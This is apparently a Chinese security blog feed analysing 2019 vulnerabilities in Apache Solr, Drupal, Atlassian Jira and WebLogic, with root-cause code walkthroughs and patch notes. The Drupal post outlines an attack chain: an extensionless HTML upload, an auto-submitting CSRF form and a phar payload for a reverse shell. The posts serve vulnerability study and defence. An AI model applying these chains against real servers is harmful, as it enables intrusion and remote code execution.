Vul on 诗与胡说

Apache Solr Velocity模板注入漏洞分析

Tue, 05 Nov 2019 09:40:22 +0000

0x01 概述

10月30日，研究员S00pY在GitHub发布了Apache Solr Velocity模版注入远程命令执行的poc，该漏洞通过设置资源加载属性，利用VelocityResponseWriter插件执行自定义模板，进而进行远程代码执行，危害较大，下面是分析过程。

0x02 环境搭建

选择Solr 8.2.0二进制版本进行分析和复现

下载地址：https://archive.apache.org/dist/lucene/solr/8.2.0/

调试命令

$ cd solr-8.2.0\server
$ java "-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=9000" -Dsolr.solr.home="../example/example-DIH/solr/" -jar start.jar --module=http

IDEA新建远程调试即可

0x03 前置概念

VelocityResponseWriter(Velocity响应编写器)是 contrib/velocity 目录中可用的可选插件。当使用诸如 “_default”、“techproducts” 和 “example / files” 等配置时，它为浏览用户界面提供动力。

必须添加它的 JAR 和依赖项（通过<lib>或 solr/home lib 包含），并且必须在 solrconfig.xml 注册，默认已经注册

其中有一个属性params.resource.loader.enabled，默认是false，需要手动开启

该参数表示允许加载程序在 Solr 请求参数中指定模板，例如：

http://localhost:8983/solr/gettingstarted/select?q=\*:*&wt=velocity&v.template=xxx&v.template.xxx=CUSTOM%3A%20%23core_name

v.template=xxx表示创建一个名为“xxx”的模板，v.template.xxx则是模板内容

当这个属性设置为true时用户就可以传入任意模板内容进行模板注入，从而执行任意命令

0x04 漏洞分析

设置`params.resource.loader.enabled`属性

在Solr的Web.xml文件中能看到所有的请求都交给org.apache.solr.servlet.SolrDispatchFilter来处理

具体的则是其中的doFilter()方法。在对路由经过初步处理后，进行两个关键操作：

HttpSolrCall call = this.getHttpSolrCall(request, response, retry);
//...
SolrDispatchFilter.Action result = call.call();

初始化一个HttpSolrCall对象后调用它的call()方法，在call()方法中会对路由中具体的组件初始化出对应的handler，再由这个handler去调用这个组件的各个方法

在Solr 8.2.0中具体的路由有37个，每一类都有对应的handler，都在org.apache.solr.handler中定义，例如solr/solr/get对应的hendler为RealTimeGetHandler

而/solr/solr/config 由SolrConfigHandler来分别处理GET和POST请求

SolrConfigHandler.Command command = new SolrConfigHandler.Command(req, rsp, httpMethod);
if ("POST".equals(httpMethod)) {
    if (configEditing_disabled || this.isImmutableConfigSet) {
        String reason = configEditing_disabled ? "due to disable.configEdit" : "because ConfigSet is immutable";
        throw new SolrException(ErrorCode.FORBIDDEN, " solrconfig editing is not enabled " + reason);
    }

    try {
        command.handlePOST();
    } finally {
        RequestHandlerUtils.addExperimentalFormatWarning(rsp);
    }
} else {
    command.handleGET();
}

私有类Command会对当前路由的webapp和path做一个切分，对于POST请求，分别会通过SolrConfigHandler.Command#handlePOST()方法来处理

接着调用SolrConfigHandler.Command#handleCommands()，Solr中Config API对应的实现都是由这个方法来完成的，如set-property、unset-property等

此处主要关注更新配置的参数

从文档可以了解对于responsewriter的操作有下面三个

add-queryresponsewriter
update-queryresponsewriter
delete-queryresponsewriter

代码中也能看到对操作名称按-进行分割提取出对应操作，然后由updateNamedPlugin()方法来完成配置文件的创建/覆盖操作，具体跟入看一下

在updateNamedPlugin()中有个verifyClass的调用，当传入参数没有设置runtimeLib时会去创建class字段指定的类，所以当我们传入VelocityResponseWriter时，会在其初始化的时候写入对应的参数

然后返回到handleCommands()中把配置写入到configoverlay.json文件

因此，通过config api可以重新设置VelocityResponseWriter的属性，为下一步加载模板提供入口

三种命令的区别如下：

add- 命令都会将新配置添加到configoverlay.json，这将覆盖solrconfig.xml组件中的任何其他设置； update- 命令覆盖configoverlay.json中的现有设置； delete-命令从configoverlay.json中删除设置

注入自定义模板

在SolrDispatchFilter中有有一个枚举类Action，定义了每个handler的所属的操作，通过ConfigAPI更新配置时，当前的action是PROCESS，因此会进入HttpSolrCall.call()的PROCESS分支

之后通过QueryResponseWriterUtil.writeQueryResponse()进入VelocityResponseWriter.write，在这个方法中完成Velocity的解析

首先会初始化一个解析模板的引擎VelocityEngine，在创建引擎的过程中会检查是否允许参数资源加载，这也就是第一个请求设置的params.resource.loader.enabled属性值。由于solr.resource.loader.enabled默认是开启的，所以此处只需要设置params的值

之后通过Template.getTemplate()设置自定义模板，然后进入Template.merge()进入AST解析，在解析过程中会调用到ASTMethod.execute()方法，这个流程与之前披露的CVE-2019-11581 JIRA模板注入漏洞是一样的，不再赘述，详细可以参考CVE-2019-11581 ATLASSIAN JIRA 未授权模板注入漏洞分析

回过头看一下Velocity渲染的大致流程：

Velocity 渲染引擎首先磁盘加载模板文件到内存，然后解析模板模板文件为 AST 结构，并对 AST 中每个节点进行初始化，第二次加载同一个模板文件时候如果开启了缓存则直接返回模板资源，通过使用资源缓存节省了从磁盘加载并重新解析为 AST 的开销。

而ASTMethod.execute()方法设计之初是在Velocity parse解析模板的过程中，通过反射调用相关方法完成正常模板渲染动作，例如获取背景颜色、获取 text 内容、获取页面编码等，但当此处攻击者传入精心构造的数据后，利用反射执行了java.lang.Runtime.getRuntime，成功达到命令执行的目的

调用栈

PoC

参考

CVE-2019-0193 Apache Solr远程命令执行漏洞分析

Wed, 07 Aug 2019 10:38:17 +0000

0x01 概述

8月1日，Apache Solr官方发布了CVE-2019-0193漏洞预警，此漏洞存在于可选模块DataImportHandler中，DataImportHandler是用于从数据库或其他源提取数据的常用模块，该模块中所有DIH配置都可以通过外部请求的dataConfig参数来设置，由于DIH配置可以包含脚本，因此该参数存在安全隐患。

参考：https://issues.apache.org/jira/browse/SOLR-13669

0x02 环境搭建

选择Solr 8.1.1二进制版本进行分析和复现

下载地址：https://archive.apache.org/dist/lucene/solr/8.1.1/

调试命令

$ cd solr-8.1.1\server
$ java "-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=9000" -Dsolr.solr.home="../example/example-DIH/solr/" -jar start.jar --module=http

IDEA新建远程调试即可

0x03 前置概念

solr支持从Dataimport导入自定义数据，dataconfig需要满足一定语法，参考

其中ScriptTransformer可以编写自定义脚本，支持常见的脚本语言如Javascript、JRuby、Jython、Groovy和BeanShell

ScriptTransformer容许用脚本语言如Javascript、JRuby、Jython、Groovy和BeanShell转换，函数应当以行（类型为Map<String,Object>）为参数，可以修改字段。脚本应当写在数据仓库配置文件顶级的script元素内，而转换器属性值为script:函数名。

使用示例：

<dataconfig>
  <script><![CDATA[
    function f2c(row) {
      var tempf, tempc;
      tempf = row.get('temp_f');
      if (tempf != null) {
        tempc = (tempf - 32.0)*5.0/9.0;
        row.put('temp_c', temp_c);
      }
      return row;
    }
    ]]>
  </script>
  <document>

    <entity name="e1" pk="id" transformer="script:f2c" query="select * from X">
    </entity>
  </document>
</dataConfig>

Nashorn引擎

在Solr中解析js脚本使用的是Nashorn引擎，可以通过Java.typeAPI在JavaScript中引用，就像Java的import一样，例如：

var MyJavaClass = Java.type(`my.package.MyJavaClass`);

var result = MyJavaClass.sayHello('Nashorn');
print(result);

0x04 漏洞分析

Solr处理dataimport请求时，首先进入dataimport/DataImportHandler的handleRequestBody方法，当前请求的command为full-import，因此通过maybeReloadConfiguration重新加载配置

在maybeReloadConfiguration中通过params.getDataConfig()判断了post的数据(dataConfig)是否为空，如果不是则通过loadDataConfig来加载

随后在loadDataConfig中通过readFromXml方法解析提交的配置数据中的各个标签，比如document，script，function，dataSource等，传入的script自定义脚本即在此处被存入script变量，递归解析完所有标签构建出DIHConfiguration对象并返回。

获取到配置信息后通过this.importer.runCmd()方法处理导入过程

this.importer.runCmd(requestParams, sw);

在doFullImport中，首先会创建一个DocBuilder对象，DocBuilder的主要功能是从给定配置中创建Solr文档，同时会记录一些状态信息。随后通过execute()方法会通过遍历Entity的所有元素来解析config结构，最终得到是一个EntityProcessorWrapper对象。EntityProcessorWrapper是一个比较关键的类，继承自EntityProcessor，在整个解析过程中起到重要的作用，可以参考

https://lucene.apache.org/solr/8_1_1/solr-dataimporthandler/org/apache/solr/handler/dataimport/EntityProcessorWrapper.html

在解析完config数据后solr会把最后更新时间记录到配置文件中，这个时间是为了下次进行增量更新的时候用的。接着通过this.dataImporter.getStatus()判断当前数据导入是“全部导入”还是“增量导入”，两个操作对应的方法分别为doDelta()和doFullDump()，此处的操作是full-import，因此调用doFullDump()

在doFullDump()中调用的是DocBuilder.buildDocument()方法，这个方法会为发送的配置数据的每一个processor做解析，当发送的entity中含有Transformers时，会进行相应的转换操作，例如转换成日期格式(DateFormatTransformer)、根据正则表达式转换(RegexTransformer)等，这次出现问题的是ScriptTransformer，可以根据用户自定义的脚本进行数据转换。由于脚本内容完全是用户控制的，当指定的script含有恶意代码时就会被执行，下面看一下Solr中如何执行javascript代码：

在读取EntityProcessorWrapper的每一个元素时，是通过epw.nextRow()调用的，它返回的是一个Map对象，进入EntityProcessorWrapper.nextRow方法

通过applyTransformer()执行转换，调用的是相应Transformer的transformRow方法

ScriptTransformer允许多种脚本语言调用，如Javascript、JRuby、Jython、Groovy和BeanShell等，transformRow()方法则会根据指定的语言来初始化对应的解析引擎，例如此处初始化的是scriptEngine，用来解析JavaScript脚本

Solr中默认的js引擎是Nashorn，Nashorn是于Java 8中用于取代Rhino（Java 6，Java 7）的JavaScript引擎，在js中可以通过Java.type引用Java类，就像Java的import一样，此处就可以通过这个语法导入任意Java类。

随后通过反射调用自定义的函数并执行，例如通过java.lang.Runtime执行系统命令

整个漏洞就是因为可以通过<script>标签指定ScriptTransformer，而在这个标签内可以导入任意的java类，Solr也并没有对标签内容做限制，导致可以执行任意代码。

调用栈情况

0x05 补充

值得注意的是，官方给出的临时修复方案并不能缓解漏洞，当把相应的index core的配置文件置为空时，dataimport的时候只是获取不到默认的配置，但是依然能够通过这个接口发送PoC，漏洞也依然能够触发，解决办法是把相应配置文件中的dataimport requestHandler全部注释并重启Solr服务器，才能彻底关闭这个接口缓解漏洞。

SA-CORE-2019-008 Drupal访问绕过漏洞分析

Fri, 19 Jul 2019 10:27:05 +0000

0x01 概述

7月17日，Drupal官方发布Drupal核心安全更新公告，修复了一个访问绕过漏洞，攻击者可以在未授权的情况下发布/修改/删除文章，CVE编号CVE-2019-6342

公告地址：https://www.drupal.org/sa-core-2019-008

0x02 受影响的版本

Drupal Version == 8.7.4

0x03 漏洞复现

安装Drupal 8.7.4版本，登录管理员账户，进入后台/admin/modules，勾选Workspaces模块并安装

在页面上方出现如下页面则安装成功，管理员可以切换Stage模式或者Live模式

另外开启一个浏览器访问首页（未登录任何账户），访问http://127.0.0.1/drupal-8.7.4/node/add/article

可直接添加文章，无需作者或管理员权限。

受影响操作包括基本文章操作（添加、修改、删除、上传附件等）

0x04 漏洞分析

Workspaces的功能

Workspaces是Drupal 8.6核心新增的实验模块，主要功能是方便管理员一次性发布/修改多个内容。

Workspaces有两种模式，分别为Stage模式和Live模式，，默认为Live模式，两者的区别在于：

Stage模式下修改内容不会及时更新，所有文章修改完毕后管理员可以通过Deploy to Live发布到实际环境，相当于一个暂存区；

Live下更新是即时的，发布后站点内容立即更新。

在这两种模式下，由于编码失误导致存在一个缺陷：匿名用户无需登录即可创建/发布/修改/删除文章，问题点出现在权限鉴定模块EntityAccess下。

漏洞分析

当用户发起请求时，会根据当前操作回调相关权限检查模块对当前用户权限进行检查，请求调用为事件监听器(EventListener)的RouterListener类，在其onKernelRequest()方法中调用AccessAwareRouter类的matchRequest()方法，随后调用AccessManager->checkRequest()方法，最后在AccessManager->performCheck()方法中通过call_user_func_array回调对应的操作进入到具体的操作权限检查

例如发布文章时回调的是access_check.node.add，相关方法在NodeAccessControlHandler控制器中定义，这个控制器继承自EntityAccessControlHandler，在父类的createAccess()方法中回调对应操作的create_access权限，过程中会拼接上模块名和相应钩子作为回调函数，

$function = module . '_' . $hook

例如此处回调的是workspaces_entity_create_access()方法，进入到Workspaces中。

在调用entityCreateAccess()方法时有一个关键操作bypassAccessResult

bypassAccessResult()方法是一个检查用户是否有"绕过节点访问权限(bypass node access)"的操作，是Workspaces中特有的，这个方法决定了”如果用户在各自的激活的工作区中，那么他将拥有所有权限”，这里的所有权限指文章相关的增删改操作。

这个权限虽然奇怪但确实是一个设计好的功能，正常操作应该在后台admin/people/permissions中配置好用户是否拥有这个权限，默认情况下匿名用户和认证用户都没有权限

当开启了Bypass content entity access in own workspace权限后用户才可以在未登录的情况下发布/删除文章，而此次漏洞就绕过了这个配置，默认情况下进行了越权操作。

具体分析一下bypassAccessResult()的实现，整个过程返回的是AccessResultAllowed对象或者AccessResultNeutral对象，所谓”中立”是因为后续还可能会对结果再做判断，但在这个漏洞中其实就是access和forbidden的区别：

首先获取了当前激活的工作区，然后通过allowedIf判断当前用户是否有权限，随后这些数据存入缓存，包括缓存内容、缓存标签和过期时间。然后再经过一次allowedIfHasPermission判断，这个方法的作用是，如果权限不对就设置一个reason，在这个漏洞中没有起到作用，到目前为止权限校验都是正常的，在没有配置后台工作区匿名权限的时候，返回的是一个AccessResultNeutral对象，也就是”禁止”。

接下来就是出现问题的地方

$owner_has_access->orIf(access_bypass);

通过补丁可以发现漏洞就修补了这行语句，把orIf换成了andIf

这两个方法的设计逻辑比较复杂，最主要的功能是对一个如果返回为”中立”的结果做后续判断，如果采用orIf方法合并，那么是否允许由调用者决定；如果以andIf方法合并，则被当做禁止。

具体到此次漏洞上的区别如下方图片所示：

orIf()

返回的是AccessResultAllowed对象

andIf()

返回的是AccessResultNeutral对象

在检查完毕后会回到AccessAwareRouter->checkAccess()方法，在该方法中对返回结果进行了判断，AccessResultNeutral的isAllowed()返回false，因此会抛出异常

返回到页面上则是Access denied

更新补丁后只有在开启后台匿名用户权限后才能进行文章操作，该选项默认不开启。

0x05 总结

此次漏洞出现在设计过程的一个疏忽，在默认没有分配权限的情况下用户可以绕过权限检查进行发布/删除/修改文章操作，但由于该漏洞仅影响Drupal 8.7.4版本，并且需要开启Workspaces模块，这又是一个实验功能，默认不启用，因此漏洞影响减弱了不少，用户可以升级Drupal版本或者关闭Workspaces模块以消除漏洞影响。

CVE-2019-11581 Atlassian Jira未授权模板注入漏洞分析

Wed, 17 Jul 2019 10:52:08 +0000

0x01 概述

7月10日，Atlassian官方发布安全公告，修复了Jira Server和Jira Data Center的一个模板注入漏洞，CVE编号CVE-2019-11581

公告地址：https://confluence.atlassian.com/jira/jira-security-advisory-2019-07-10-973486595.html

0x02 环境搭建

使用atlas-debug调试

下载安装Atlassian SDK，地址；
atlas-create-jira-plugin创建一个插件，参考；
atlas-debug开启调试，http端口2990，调试端口5005；
IDEA打开MyPlugin，把WEB-INF/classes和WEB-INF/lib加入library；
新建Remote调试；

其他：

如果没有设置%JAVA_HOME%可以通过SET JAVA_HOME=d:\jdk1.8设置；
默认不开启电子邮件发送，通过atlas-debug --jvmargs -Datlassian.mail.senddisabled=false开启；

0x03 漏洞分析

第一部分：注入代码并生成邮件

post的数据通过JiraSafeActionParameterSetter->setActionProperty()方法

通过反射调用到ContactAdministrators.setSubject()方法，把ContactAdministrators对象的subject属性设置为传入的subject

随后通过ContactAdministrators.doExecute()调用send()方法，在这个方法中会查找系统中已激活的管理员，通过this.sendTo(administrator)将邮件发送给该管理员

在sendTo()流程中，Jira需要通过EmailBuilder()方法创建一个邮件队列对象，随后将该对象放入邮件发送队列中。由于队列等待原因，所以触发payload可能需要等待一段时间，并且当邮件发送失败时系统会继续尝试发送邮件，所以payload可能会触发多次。

创建队列的方法有点长，精简一下就是这个样子

MailQueueItem item = (new EmailBuilder()).withSubject(this.subject).withBodyFromFile().addParameters().renderLater();

通过EmailBuilder的withSubject()方法，创建一个TemplateSources$fragment对象，参数即是我们传入的payload，随后调用renderLater()方法创建出EmailBuilder对象，再将该对象作为参数传递给RenderingMailQueueItem类，RenderingMailQueueItem的继承关系是如下图，于是最终创建出一个MailQueueItem对象，并将该对象放入邮件发送队列。

第二部分：发送邮件

当我们把payload注入到模板中之后，邮件进入待发送队列，Jira中处理邮件队列的具体流程如下：

通过模板引擎(getTemplatingEngine)生成一个Velocity模板，通过applying()方法生成RenderRequest对象，之后根据该对象成员变量source的类型，调用不同的方法解析模板，漏洞的产生正是由于这个差异造成的，下面详细分析一下。

首先进入RenderingMailQueueItem().send()方法，调用this.emailRenderer.render()，随后调用

this.getTemplatingEngine().render(this.subjectTemplate).applying(contextParams).asPlainText();

这个过程中前面是为了获取模板解析引擎（VelocityTemplatingEngine）并传入主题模板（此处为payload数据），通过applying()方法创建VelocityContext对象并把payload赋值给成员变量source

随后重写了抽象类StringRepresentation的with()方法，在with()方法中调用了asPlainText()方法

DefaultRenderRequest.this.asPlainText(sw)

asPlainText()的作用是通过Velocity模板引擎解析模板，其中的调用链是

toWriterImpl()->writeEncodedBodyForContent()->evaluate()

而在evaluate()方法中生成了AST结构，随后通过反射调用传入的payload，完成代码执行。

asPlainText()之后的调用栈如下

在处理完Object模板后会调用父类SingleMailQueueItem的send()方法，通过smtpMailServer.sendWithMessageId()发送邮件，由于没有正确配置SMTP服务会抛出异常，但在连接SMTP服务之前漏洞已经触发了，控制台也能看到MailQueue执行的过程。

思考

上述漏洞流程走完了，但还有一个关键问题没有解决：为什么邮件主题Subject会被解析成AST结构并被执行呢？按照正常发送反馈的逻辑，一封邮件的主题（字符串）似乎没有必要解析成AST，导致差异的原因是什么？

发送一封正常的“联系管理员”邮件，走一遍流程

对比一下两个处理流程，当发送正常反馈时，writeEncodedBody()中调用的是this.getVe().mergeTemplate，通过Velocity引擎的ClasspathResourceLoader()类的getResourceStream()方法加载模板文件，此处的模板是templates/email/html/contactadministrator.vm，随后还会进行header、footer等正常加载流程，最终渲染出整个页面。而发送payload时，通过asPlainText()创建出TemplateSource$Fragment对象，再通过DefaultRenderRequest构造方法把source成员变量赋值为这个Fragment对象，于是进入第一个分支，调用的是this.getVe().evaluate()，最终调用ASTMethod.execute()，这正是前面说的差异性导致的两个不同处理逻辑。

回过头看一下Velocity渲染的大致流程：

Velocity渲染引擎首先磁盘加载模板文件到内存，然后解析模板模板文件为AST结构，并对AST中每个节点进行初始化，第二次加载同一个模板文件时候如果开启了缓存则直接返回模板资源，通过使用资源缓存节省了从磁盘加载并重新解析为AST的开销。

而ASTMethod.execute()方法设计之初是在Velocity parse解析模板的过程中，通过反射调用相关方法完成正常模板渲染动作，例如获取背景颜色、获取text内容、获取页面编码等，但当此处攻击者传入精心构造的数据后，利用反射执行了java.lang.Runtime.getRuntime，成功达到命令执行的目的，漏洞利用十分精巧。

补充：严格意义上讲这不属于一个模板注入漏洞，因为代码并没有“注入”到某一个模板中，漏洞触发过程是在解析模板文件之前，利用的是解析模板的过程，恶意代码并没有真正落地也没有插入到某个模板里面，所以称之为“代码注入”也许更合适。

参考

CVE-2019-2729 Weblogic XMLDecoder反序列化漏洞分析

Wed, 19 Jun 2019 12:26:39 +0000

漏洞分析

该漏洞是CVE-2019-2725的绕过，因此前面的流程都是一样的，经过21个handler处理，最终进入WorkAreaHeader

在4月份oracle对2725紧急补丁中，过滤了class元素，因此不能再通过class创建对象

这次的绕过实际上就是找到另外的元素代替class进而绕过补丁。

在jdk7中解析xml时获取element元素的相关类为com.sun.beans.decoder.DocumentHandler

当传入array标签，进入ArrayElementHandler，为array元素添加属性时，只能从length，class，id中选择，唯一能创建类的class已经加入了黑名单，所以在jdk1.7下不受此漏洞影响，这次的绕过出现在低于jdk1.7的java版本上。

weblogic 10.3.6.0自带的jdk版本为1.6，jdk1.6中解析xml时有很大的不同，相关处理方法在com.sun.beans.ObjectHandler

解析时首先进入的是startElement方法

该方法首先获取元素的属性并创建一个hashmap，当元素含有属性时，会根据属性值进行类/属性/方法的相关操作，当元素没有属性时，调用的是new方法，例如解析<java>、<void>时。而此时如果传入了method值就会把方法名设置为该值。

随后把方法名设置为我们传入的值，最终通过forName找到指定的类

之后的流程就和2725一样的了

进入WorkContextXmlInputAdapter:readUTF()后的调用栈

补丁分析

6月19日，Oralce官方放出了该漏洞的补丁，详情见这里

分析一下补丁

this.validate(new ByteArrayInputStream(baos.toByteArray()));
this.validateFormat(new ByteArrayInputStream(baos.toByteArray()));
this.xmlDecoder = new XMLDecoder(new ByteArrayInputStream(baos.toByteArray()));

在原来validate过滤的基础上又增加了一次validateFormat过滤，过滤方法如下

这回终于是采用了白名单方式，allowedName如下

可以看到allowedName严格限制了可以使用的标签，并且也限制了标签可以拥有的属性，值得注意的是allowedName不再允许field标签了，emmm…

总结

这个漏洞是当时应急时简单分析的，后续有时间会详细整理一下。

从整个XMLDecoder反序列化漏洞的来看（CVE-2017-3506 -> CVE-2017-10271(10352) -> CVE-2019-2725 -> CVE-2019-2729），使用黑名单修补漏洞是不靠谱的，永远不知道下一次绕过是在什么时候，而这次的白名单修复方式会不会还存在缺陷呢？此处还得打一个问号。

SA-CORE-2019-004 Drupal内核从XSS到RCE漏洞分析

Mon, 22 Apr 2019 15:19:04 +0000

0x01 概述

3月20日，Drupal官方发布SA-CORE-2019-004漏洞预警，修复了一处文件名处理异常，当我们上传特殊文件名时可以绕过限制在服务器上创建“无后缀”文件，精心构造的文件经过浏览器解析后可以触发XSS漏洞，再进一步可以达到代码执行的目的。

官方描述该漏洞为中危影响，因为该漏洞需要登录，并且需要作者权限来上传文件才能触发。

详细参考：https://www.drupal.org/sa-core-2019-004

0x02 漏洞分析

根据官方补丁，最主要修改了一处preg_replace异常，修改的方法为file.inc:file_create_filename()

该方法的主要功能是处理上传文件的路径，返回形如public://2019-04/1.png的路径，然后由drupal自身实现的方法将public://路径转换为相对路径。如果文件系统已经存在同名文件，则在文件名会追加_0, _1。问题出在这行处理utf-8编码的代码上

$basename = preg_replace('/[\x00-\x1F]/u', '_', $basename);

这行代码的意思的如果文件名中含有0x00-0x1F区间的字符时，将其转换为_。查看标准ASCII码表，字符所对应的十进制数范围为0-127，0x00-0x1F对应的数为0-31，也就是前32个不常见或者说不可显字符。假如我们传入的字符范围大于128时，preg_replace便会出错，返回一个NULL值，于是此时的basename便被赋值为空，而下面对basename也没有多余的操作，于是我们就得到了一个没有后缀的文件，而且这个文件的名称也是可以预测的，相关代码如下

if (file_exists($destination)) {
    // Destination file already exists, generate an alternative.
    $pos = strrpos($basename, '.');
    if ($pos !== FALSE) {
      $name = substr($basename, 0, $pos);
      $ext = substr($basename, $pos);
    }
    else {
      $name = $basename;
      $ext = '';
    }

    $counter = 0;
    do {
      $destination = $directory . $separator . $name . '_' . $counter++ . $ext;
    } while (file_exists($destination));
  }

在开始有一个file_exists判断，所以我们需要上传相同文件至少两次，才能进入if分支。由于$basename为空，$name也被赋值为空，接下来进入一个循环，如果文件已经存在，就把文件命名为路径+分隔符+name+_+counter+后缀的形式，也就是同名文件会被加上后缀_0 _1等，而此时表达式的值即为下划线+计数器的值，于是我们在/sites/default/files/pictures/<YYYY-MM>/目录下得到类似_0 _1的无后缀文件。

值得注意的是，上传的文件可以是任意类型，不局限于图片文件，可以通过http://drupal-site/sites/default/files/<YYYY-MM>/_1访问到文件。

0x03 尝试利用

初探

此时我们想到，可以上传一个html文件，诱使管理员点击形成一个XSS漏洞。

但是这里存在一个问题，当通过Home >> Add content >> 上传Image上传文件时，如果传了一个纯HTML文件，是无法上传成功的，因为在core/modules/file/file.module里有一个检查

$errors = file_validate($file, $validators);

file_validate()方法通过下图4个方法检查图片有效性

其中file_validate_is_image方法使用了ImageFactory库，非图片文件无法通过这个检查，于是上传失败，也就无法在sites/default/files/<YYYY-MM>/生成文件。

当然这里是可以绕过的，那就是在上传的内容前加上图片文件头，例如GIF或GIF89a，能够绕过file_validate_is_image检查上传文件，然而这并没有什么用，因为访问http://drupal-site/sites/default/files/<YYYY-MM>/_1时，浏览器无法判断文件类型，所以不会解析…

也就是说

纯HTML文件无后缀，浏览器可以解析，但是无法上传；
增加图片文件头，可以上传，但是浏览器不能解析；

于是现在陷入一个两难境地，需要找个另外的点。

突破

我们注意到在新建文章页面除了上传图片外，还有一个编辑器内置的图片上传接口，从这个接口分析一下

跟入相关方法，之前的流程都是一样的，同样会进入file_validate()方法，同样检测文件合法性，但是此时的$validators有所不一样：

file_validate_is_image变成了file_validate_image_resolution，这个方法是检测图片是否符合大小，但是对于非图片文件会直接忽略，返回一个空数组

方法说明里也说了会忽略非图片文件

Non-image files will be ignored.

于是file_validate()不报错，校验通过，成功上传文件，目录是sites/default/files/inline-images/，访问文件成功触发

现在可以利用这个漏洞上传一个html文件，攻击面就扩大了许多，简单的可以是一个XSS，复杂的可以是个钓鱼页面(这个漏洞需要作者权限，故可以钓鱼管理员)，再进一步，如何进行命令执行甚至反弹一个shell呢？

组合拳

联想到1月份Drupal官方修复的SA-CORE-2019-002漏洞，文件操作函数处理phar文件时会触发反序列化形成代码执行漏洞，在此处正好可以用上。phar反序列化风险影响几乎所有文件操作函数，而在Drupal中File system功能就存在这个缺陷，在设置本地临时文件夹的时候会进行路径检查，相关方法是system_check_directory()

在这个方法中存在is_dir()函数，当is_dir()函数处理phar:// stream wrapper时，便会触发反序列化，如果传入一个恶意构造的phar文件就可以造成代码执行。

因此现在的思路是，上传一个phar文件，诱使管理员点击链接把临时文件路径设置为phar://test.phar触发漏洞反弹shell

0x04 漏洞利用

通过上述分析，有几个限制需要突破：

生成的phar文件不能通过图片上传接口上传，否则会失败；
需要写一个html让管理员打开链接自动发送请求来修改临时文件路径；

因此漏洞利用分为以下几步：

生成一个能反弹shell的phar文件；

Drupal反序列化的POP链已经比较多了，可以参考这里由 PHPGGC 理解 PHP 反序列化漏洞

选择GuzzleHttp\Psr7类，使用PHARGGC直接生成phar文件
上传phar文件

把out.phar修改为png后缀，通过编辑器的接口上传，获得文件路径

http://127.0.0.1/drupal-8.6.5/sites/default/files/inline-images/phar.png
生成一个html文件

这个html文件需要让管理员打开链接时自动发送请求来修改临时文件路径，与CSRF非常相似，所以直接使用burpsuite抓包生成CSRF PoC

然后增加一个自动点击提交表单的操作，省去手动submit
```
<script type="text/javascript">
    var a  = document.getElementById('form1')
    a.submit()
</script>
```
再通过编辑器的接口上传这个html文件，修改文件名的ascii值大于128。注意需要上传至少两次，以生成_0、_1文件
访问http://drupal-site/sites/default/files/inline-images/_0时浏览器解析为html并自动提交表单，触发漏洞

这里因为反弹shell会把页面卡住，可以增加一个跳转首页，更隐蔽地触发漏洞。

0x05 总结

这个漏洞由一个preg_replace()引起，由于没有正确处理异常，导致可以上传“任意”文件；而phar反序列化漏洞在一年前就已经公布了，把几个漏洞组合在一起形成一条漂亮的攻击链，值得学习。站在管理员角度应该关注安全更新，及时更新应用，而对于开发者来说也要重视安全风险，不可忽视任何一处不起眼的安全隐患。

参考：

CVE-2019-11581 Atlassian Jira未授权模板注入漏洞分析

Fri, 22 Feb 2019 22:19:04 +0000

环境搭建

使用atlas-debug调试

下载安装Atlassian SDK，地址；
atlas-create-jira-plugin创建一个插件，参考；
atlas-debug开启调试，http端口2990，调试端口5005；
IDEA打开MyPlugin，把WEB-INF/classes和WEB-INF/lib加入library；
新建Remote调试；

其他：

如果没有设置%JAVA_HOME%可以通过SET JAVA_HOME=d:\jdk1.8设置；
默认不开启电子邮件发送，通过atlas-debug --jvmargs -Datlassian.mail.senddisabled=false开启；

第一部分：注入代码并生成邮件

post的数据通过JiraSafeActionParameterSetter->setActionProperty()方法

通过反射调用到ContactAdministrators.setSubject()方法，把ContactAdministrators对象的subject属性设置为传入的subject

随后通过ContactAdministrators.doExecute()调用send()方法，在这个方法中会查找系统中已激活的管理员，通过this.sendTo(administrator)将邮件发送给该管理员

创建队列的方法有点长，精简一下就是这个样子

MailQueueItem item = (new EmailBuilder()).withSubject(this.subject).withBodyFromFile().addParameters().renderLater();

第二部分：发送邮件

当我们把payload注入到模板中之后，邮件进入待发送队列，Jira中处理邮件队列的具体流程如下：

通过模板引擎(getTemplatingEngine)生成一个Velocity模板，通过applying()方法生成RenderRequest对象，之后根据该对象成员变量source的类型，调用不同的方法解析模板，漏洞的产生正是由于这个差异造成的，下面详细分析一下。

首先进入RenderingMailQueueItem().send()方法，调用this.emailRenderer.render()，随后调用

this.getTemplatingEngine().render(this.subjectTemplate).applying(contextParams).asPlainText();

这个过程中前面是为了获取模板解析引擎（VelocityTemplatingEngine）并传入主题模板（此处为payload数据），通过applying()方法创建VelocityContext对象并把payload赋值给成员变量source

随后重写了抽象类StringRepresentation的with()方法，在with()方法中调用了asPlainText()方法

DefaultRenderRequest.this.asPlainText(sw)

asPlainText()的作用是通过Velocity模板引擎解析模板，其中的调用链是

toWriterImpl()->writeEncodedBodyForContent()->evaluate()

而在evaluate()方法中生成了AST结构，随后通过反射调用传入的payload，完成代码执行。

asPlainText()之后的调用栈如下

思考

发送一封正常的“联系管理员”邮件，走一遍流程

回过头看一下Velocity渲染的大致流程：

Velocity渲染引擎首先磁盘加载模板文件到内存，然后解析模板模板文件为AST结构，并对AST中每个节点进行初始化，第二次加载同一个模板文件时候如果开启了缓存则直接返回模板资源，通过使用资源缓存节省了从磁盘加载并重新解析为AST的开销。

参考

SA-CORE-2019-003 Drupal 内核远程代码执行漏洞分析

Fri, 22 Feb 2019 22:19:04 +0000

0x01 概述

https://www.drupal.org/sa-core-2019-003

0x02 影响版本

Drupal 8.6.x < 8.6.10
Drupal 8.5.x < 8.5.11

影响条件

站点启用了Drupal 8核心RESTful Web服务(rest)模块，并允许PATCH或POST请求
站点启用了另一个Web服务模块，如Drupal 8中的JSON:API，或Drupal 7中的Services或RESTful Web Services

0x03 Web Services

Drupal框架的RESTful Web服务是为了更方便地访问Drupal站点的资源，支持常规的api请求，如GET / POST / PATCH / DELETE（出于一些原因不支持PUT ）

更详细的介绍可以参考 https://www.drupal.org/docs/8/core/modules/rest/overview

这个漏洞影响REST Web Services，所以首先在Drupal 8中开启rest服务

下载REST UI并解压至core/modules/目录
在admin-config-extend勾选Web services中的RESTful Web Services和REST UI并安装，drupal会自动安装Serialization ，最好也安装HAL扩展，后续会使用hal_json数据格式

